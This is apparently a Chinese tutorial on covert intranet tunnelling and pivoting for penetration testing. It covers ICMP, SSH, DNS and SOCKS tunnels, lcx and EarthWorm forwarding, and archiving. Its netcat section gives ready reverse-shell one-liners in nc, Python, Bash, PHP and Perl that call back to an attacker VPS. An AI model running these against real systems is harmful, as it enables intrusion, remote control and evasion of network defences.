内网之隐藏通信隧道技术总结
青 叶

内网之隐藏通信隧道技术总结

内网信息收集后,需要判断流量的情况,即是否能出去、是否能进来。

隐藏通信隧道基础

隐藏通信隧道概述

正常的网络通信,是先在两台机器之间建立TCP连接,然后进行正常的数据通信。已知IP地址的情况下,就可以直接发送报文;如果不知道IP地址,就需要将域名解析成IP地址。实际网络中,通常会通过各种边界设备、防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常就会对通信进行阻断。

隧道就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙与对方进行通信;数据包到达目的地时,将数据包还原,并且将还原后的数据包发送到对应的服务器上。

按OSI七层模型分类常见的隧道如下:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

判断内网连通性

即判断机器能否上外网,必须综合判断各种协议情况。

ICMP协议

ping命令:ping [IP/Domain]

TCP协议

netcat(即NC):nc [IP] [Port]

HTTP协议

Curl工具,Windows需要下载,在Windows中,如果版本大于Win7可以使用Powershell的Invoke-WebRequest。

  • curl: curl <ip:port>
  • powershell: Invoke-WebRequest -Uri [ip/domian]:[port]
DNS协议

Win nslookup:nslookup www.baidu.com vps-ip

Linux dig: dig @vps-ip www.baidu.com

还有一种情况即是,流量无法直接流出,需要设置内网的一个代理服务器才能流程。

检查上述情况可以通过以下的方法判断:

  1. 查看网络连接,判断是否存在与其它机器的某些端口连接
  2. 查看内网是否有类似“proxy”的主机名的机器
  3. 查看IE的代理或系统的代理配置
  4. 查看pac文件的路径
  5. 通过curl设置代理判断

网络层隧道技术

介绍两个,IPv6和ICMP。

IPv6隧道

学过计网就知道,目前IPv6与IPv4正处于过渡阶段,大部分的IPv6数据包实际都是通过IPv6 to IPv4转换为IPv4的数据包进行传输,这就是利用了隧道技术。

IPv6隧道技术简介

工作过程:

  1. 节点A向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
  2. 节点A将IPv6报文封装在以节点B的IPv4地址为目的地址、以自己的IPv4地址为源地址的IPv4报文中,并发往路由
  3. 经过层层转发,这个报文到达节点B
  4. 节点B收到报文后,取出封装信息,解封为IPv6报文

image

使用IPv6隧道的意义在于现阶段的边界设备、防火墙甚至入侵防御系统还无法识别IPv6的通信数据,但是大多数操作系统都已支持IPv6。

使用IPv6隧道的条件即是通信双方都有一个正确的IPv4地址,才可以建立隧道。

工具有:socat、6tunnel、nt6tunnel

防御IPv6隧道的方法

了解IPv6的具体漏洞,结合其它协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。

ICMP隧道

在一些环境中,如果使用各类的上层隧道(如HTTP隧道、DNS隧道、常规正反端口转发等)都失败了,常常会通过ping命令远程访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿透防火墙。

常用工具
  1. icmpsh

    把这个代码仓库克隆下来:bdamele/icmpsh: Simple reverse ICMP shell (github.com)

    安装Python的impacket库:apt-get install python-impacket

    关闭本地系统的ICMP应答:sysctl -w net.ipv4.icmp_echo_ignore_all=1

    重新启用设为0即可。

    然后使用run.sh启动即可,输入目标的IP地址。

    目标主机上运行icmpsh.exe -t VPSIP -d 500 -b 30 -s 128,参数如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -t host            host ip address to send ping requests to. This option is mandatory!

    -r send a single test icmp request containing the string "Test1234" and then quit.
    This is for testing the connection.

    -d milliseconds delay between requests in milliseconds

    -o milliseconds timeout of responses in milliseconds. If a response has not received in time,
    the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
    The counter is set back to 0 if a response was received.

    -b num limit of blanks (unanswered icmp requests before quitting

    -s bytes maximal data buffer size in bytes

    如果目标主机是Linux的话,可以使用这个:ewilded/icmpsh-s-linux: GNU/Linux version of the https://github.com/inquisb/icmpsh slave

  2. PingTunnel

    该工具可以跨平台并且可以为隧道设置密码。

    有一个Go写的项目:

    项目地址:esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP (github.com)

    作者直接有Release下载了,下载就能用。

    开启服务端之前也需要配置一下sysctl -w net.ipv4.icmp_echo_ignore_all=1,然后服务端:

    1
    sudo ./pingtunnel -type server -key 123

    key是连接密码。

    客户端的话:

    1
    ./pingtunnel.exe -type client -l 127.0.0.1:4455 -s 192.168.140.128 -t 192.168.140.128:4455 -tcp 1 -key 123

    -s和是远程服务器的地址,-t是绑定的地址和端口,参数可以选择-tcp或者其它选项,可以看一下帮助。

    原来的Ping Tunnel在:Ping Tunnel – Freecode (sourceforge.net)

    下载源代码,解压:tar -zxvf PingTunnel-0.72.tar.gz

    然后用make安装,会缺少pcap.h,要装libpcap:https://www.tcpdump.org/release/libpcap-1.10.1.tar.gz

    然后使用:./configure && make && make install即可。

    还得安装两个:apt-get install flex bison

    然后make && make install即可安装PTunnel。

    推荐上一个PingTunnel,配合EW非常好用。

    Kali上首先执行EW:

    1
    ./ew_for_linux64 -s rcsocks -l 10080 -e 8898

    Kali再启动PingTunnel服务:

    1
    sudo ./pingtunnel -type server -key 123 -nolog 1 -noprint 1

    被攻击的机器上先启动PingTunnel:

    1
    pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.140.128 -t 192.168.140.128:8898 -sock5 -1 -noprint 1 -nolog 1 -key 123

    再启动EW:

    1
    ew_for_Win.exe -s rssocks -d 127.0.0.1 -e 9999

    此时就通过PingTunnel建立起来了Sock5的代理关系。

    注意Proxychains应该使用10080端口作为sock5端口:

    image

防范ICMP隧道

许多服务器都会设置不回复ICMP报文,但是允许己方ICMP报文发出。

检测ICMP隧道的方式有:

  1. 检测同一来源的ICMP数据包的数量。一个正常的ping不会在短时间内发送过多的ICMP数据包
  2. 找Payload大于64位的ICMP数据包
  3. 找响应包的Payload与请求包的Payload不一致的ICMP数据包
  4. 检查ICMP数据包的协议标签。例如ICMPTunnel会在所有的ICMP Payload前添加”TUNL”标识隧道。

传输层隧道技术

这方面包括了TCP隧道、UDP隧道和常规端口转发。

lcx端口转发

最为经典的端口转发工具。

内网端口转发

目标机器:

1
lcx.exe -slave [vps] [port] 127.0.0.1 [3389]

VPS上:

1
lcx.exe -listen 4444 5555

这会把目标机器的3389端口转发到本地的5555端口上。

本地端口映射

直接将一个不允许通过的端口映射到另一个允许的端口上:

1
lcx.exe -tran 53 127.0.0.1 3389

这会把本地的3389端口映射到 53端口上。

netcat

安装

kali应该是默认带了的,使用nc -h可以查看帮助。

Banner抓取

利用nc抓取服务的Banner信息,例如FTP:

1
nc -nv 192.168.140.132 21
连接远程主机

比如说连接到HTTP:

1
nc -nvv 192.168.140.132 80
端口扫描

扫描指定端口:nc -v 192.168.140.132 80

扫描端口段(不推荐,速度极慢):nc -v -z 192.168.140.132 80-90

端口监听
1
nc -lp 9999
文件传输

接收端:

1
nc -lp 9999 > 1.txt

发送端:

1
nc -vn 192.168.140.132 9999 < test.txt -q 1
聊天

监听端:nc -lp 9999

连接端:nc -vn 192.168.140.132 9999

完成后即可开始。

获取Shell
  1. 正向Shell

    监听端口:

    1
    nc -lvp 4444 -e /bin/bash[c:\windows\system32\cmd.exe]

    连接则使用:

    1
    nc [ip] 4444
  2. 反向Shell

    在VPS监听:nc -lvp 9999

    在目标机器连接:

    1
    nc [ip] 9999 -e /bin/bash[c:\windows\system32\cmd.exe]
  3. 目标主机没有NC时,可以考虑一下方法获取反向Shell:

    VPS监听:nc -lvp 9999

    1. Python 反弹Shell

      一句话:

      1
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YourVPSIP", 9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash", "-i"]);'

      image

    2. Bash反弹Shell

      命令:

      1
      bash -i >& /dev/tcp/HOST/PORT 0>&1

      注意该命令在ZSH下不可用,必须使用Bash

    3. PHP反弹Shell

      一句话:

      1
      php -r '$sock=fsockopen("YourVPSIP", 9999);exec("/bin/bash -i <&3 >&3 2>&3");'
    4. Perl反弹Shell

      1
      perl -e 'use Socket;$i="YourVPSIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
内网代理

VPS监听:nc -lvp 9999

目标机器上启动nc:nc -lvp 3333 -e /bin/bash

代理机器:nc -v VPSIp 9999 -c "nc -v TargetIP 3333"

Powercat

就是一个NC的Powershell版本。

使用前需要Import-Module ./powercat.ps1

具体使用方法可以看:besimorhino/powercat: netshell features all in version 2 powershell (github.com)

应用层隧道技术

SSH协议

内网中,基本所有的Linux/UNIX服务器和网络设备都支持SSH。一般情况下SSH允许通过防火墙和边界设备,所以经常被攻击者利用。此外,SSH是加密的,所以很难分辨合法的SSH会话和隧道。

  1. 本地转发

    VPS上执行:

    1
    ssh -CfNg -L 3389:TargetIP:3389 root@IP

    其中第一个3389是VPS的绑定端口,TargetIP是希望访问的目标主机IP,IP是跳板机IP。会要求输入密码,输入后就会开始转发。

  2. 远程转发

    在拿下的服务器上:

    1
    ssh -CfNg -R 3306:TargetIP:3389 root@VPSIp

    其中第一个3306是VPS的端口,TargetIP是希望访问的目标主机IP,后面的3389是目标端口。

  3. 动态转发

    VPS上执行命令,建立一个动态的Sock 4/5代理:

    1
    ssh -CfNg -D 7000 root@IP

    这里的IP是跳板机的IP,7000是本地端口。

  4. 防御SSH隧道的思路

    在ACL中配置只有特定的IP地址连接SSH、设置系统完全使用带外管理或至少现在SSH远程登录的地址和双向访问控制策略。

HTTP/HTTPS协议

常见的工具有:reGeorg、meterpreter、tunna

这里说一下reGeorg:besimorhino/powercat: netshell features all in version 2 powershell (github.com)

以PHP为例,上传reGeorg的PHP脚本,然后使用:

1
python2 reGeorgSocksProxy.py -u http://192.168.140.132/tunnel.php -p 10080

DNS协议

使用DNS协议建立隧道会导致DNS流量激增,被发现可能性极大。

但是由于DNS服务几乎不可能被禁,DNS隧道已经称为攻击者控制隧道的主流渠道。

查看DNS的连通性

首先查看当前服务器能否允许通过内部DNS解析外部域名,即测试DNS的连通性:

1
cat /etc/resolv.conf | grep v '#'

接着查看能否与内部DNS通信:

1
nslookup 内部域名

查看能否通过内部DNS解析外部域名:

1
nslookup baidu.com
dnscat2

具体使用可以见:iagox86/dnscat2 (github.com)

iodine

Kali内置的工具,但是如果目标机器是Windows的话,需要下载编译好的Windows版本,同时还要给其装上TAP网卡渠道程序。

防御方法
  • 禁止任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
  • 虽然没有人会将TXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器或网关会这样做,可以将邮件服务器或者网关加入白名单,阻止其它的TXT请求
  • 跟着用户的DNS查询速率,太高时拦截并通知
  • 阻止ICMP

SOCKS代理

应用场景比较广:

  • 服务器在内网,可以访问任意外部网络
  • 服务器在内网,可以访问外部网络,但是有防火墙拒绝敏感端口的连接
  • 服务器在内网,对外只开放了部分端口,且服务器不能访问外部网络

SOCKS分两种,SOCK4和SOCK5,其中SOCK4只支持TCP;SOCK5还能支持UDP与身份验证等。

EarthWorm

EW,可以实现SOCKS 5 服务假设和端口转发两大核心功能,实现复杂网络环境中的网络穿透。

前面将PingTunnel实际用到了这个工具。

官网是:EarthWorm (rootkiter.com)

目前官方已经移除了相关文件,可以去这里下载:idlefire/ew: 内网穿透(跨平台) (github.com)

这个工具比较好用,体积也很小,使用简单,总共六种命令格式:

  1. ssocksd 正向
  2. rcsocks 反弹
  3. rsscoks 反弹
  4. lcx_slave 级联
  5. lcx_listen 级联
  6. lcx_tran 级联

假设拓扑结构为:

image

  1. 正向SOCKS 5 服务器

    如果目标主机有一个外网的IP的话,那么可以使用正向SOCKS 5服务器:

    1
    ew -s ssocksd -l 8888

    这就会假设一个端口号为8888的SOCKS代理。

  2. 反弹SOCKS 服务器

    服务器没有公网IP,但是可以访问内网资源。

    首先在自己的VPS上:

    1
    ew -s rcsocks -l 1008 -e 8888

    这里的含义是在VPS上添加一个转接隧道,把1008端口的请求转发给8888端口。

    在目标服务器上执行:

    1
    ew -s rssocks -d VPSIP -e 8888

    这里的含义是,在本机上启动一个SOCKS 5服务,然后反弹到VPSIP的VPS的8888端口上。

    这个适合如果VPS上显示rssocks cmd_socket OK!那么久成功了,可以使用VPS的1008端口来访问其内网服务器的SOCKS服务。

  3. 二级网络环境(有公网IP)的搭建

    如图,如果A主机只能访问B主机,B主机可以访问内网但是不能访问外网:

    image

    首先先在B主机中,使用ssocksd启动SOCKS代理:

    1
    ew -s ssocksd -l 8888

    在主机A中,使用lcx转发:

    1
    ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 8888

    这样就会把本机的1080端口的代理请求转发给B主机的8888端口,这样就可以通过A主机的IP以及1080端口访问主机B上的SOCKS服务了。

  4. 二级网络环境(无公网IP)的搭建

    还是刚才那个拓扑,现在A主机没有公网IP了。

    在自己的VPS中:

    1
    ew -s lcx_listen -l 10800 -e 8888

    这是在VPS中添加转接隧道,将10800端口的代理请求转发给8888端口。

    在主机B中:

    1
    ew -s ssocksd -l 9999

    在主机A中:

    1
    ew -s lcx_slave -d VPSIP -e 8888 -f 10.48.128.49 -g 9999

    这样是将主机A作为中继,将VPS的8888端口和B主机的9999端口中继起来。

    最好如果公网VPS显示:rssocks cmd_socket OK!就成功了。

  5. 三级网络环境

    比较少见,但不是没有。

    拓扑如图:

    image

    VPS上执行:

    1
    ew -s rcsocks -l 1080 -e 8888

    A主机上:

    1
    ew -s lcx_slave -d VPSIP -e 8888 -f 10.48.128.12 -g 9999

    B主机上:

    1
    ew -s lcx_listen -l  9999 -e 7777

    C主机上:

    1
    ew -s rssocks -d 10.48.128.12 -e 7777

    多级级联类似处理就好。

reGeorg

前面介绍过,实际把HTTP/HTTPS隧道转发到本机可以实现SOCKS代理内网穿透。

sSocks

用于开启Socks代理服务,支持IPv6和UDP,并提供反向Socks代理服务。

SocksCap64

Windows中一款好用的全局代理软件。

Proxifier

全平台代理和转发。

Proxychains

可以使得任何程序通过代理上网,支持HTTP、Socks4(需要安装ProxyChains4)、Sock5的代理类型。

具体配置需要修改/etc/proxychains.conf文件。

数据压缩

这一小节不会是作者为了凑字数的吧。。。

WinRAR

-m是表示压缩方式,从0-5表示存储、最快压缩、较快压缩、标准压缩、较强压缩、最好压缩。

-k会锁定压缩文件,-r则表示递归压缩,-s会生成存档文件。

以RAR格式压缩或者解压缩:

1
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs

解压相对简单:

1
rar.exe e E:\webs\1.rar

使用e是当前根目录下,使用x是以绝对路径解压。

用WinRAR压缩zip或者解压zip的话,只需要改文件后缀就行。

如果需要分卷压缩或者解压缩:

1
rar.exe a -m0 -r -v20m E:\test.rar E:\API

会生成若干个test.part*.rar的文件,解压只需要解压part01即可:

1
rar.exe x E:\test.part01.rar E:\x1
7-zip

这个免费开源的工具好用点。

常见参数:

  • -r 递归压缩
  • -o 指定输出目录
  • -p 指定密码
  • -v 分卷压缩
  • a 添加压缩文件

普通压缩或解压方式:

1
7z.exe a -r -p123456 E:\webs\1.7z E:\webs\

解压:

1
7z.exe x -p123456 E:\webs\1.7z -oE:\x

分卷压缩:

1
7z.exe -r -v1m -padmin a E:\test.7z E:\API

解压:

1
7z.exe x -padmin E:\test.7z.001 -oE:\x1

文件上传与下载

这个就不看书上的了,感觉都不太好用,推荐用Meterpreter或者CS的Beacon直接上传下载。

哥斯拉马也支持上传和下载,没必要退而求其次去选择书上的方式。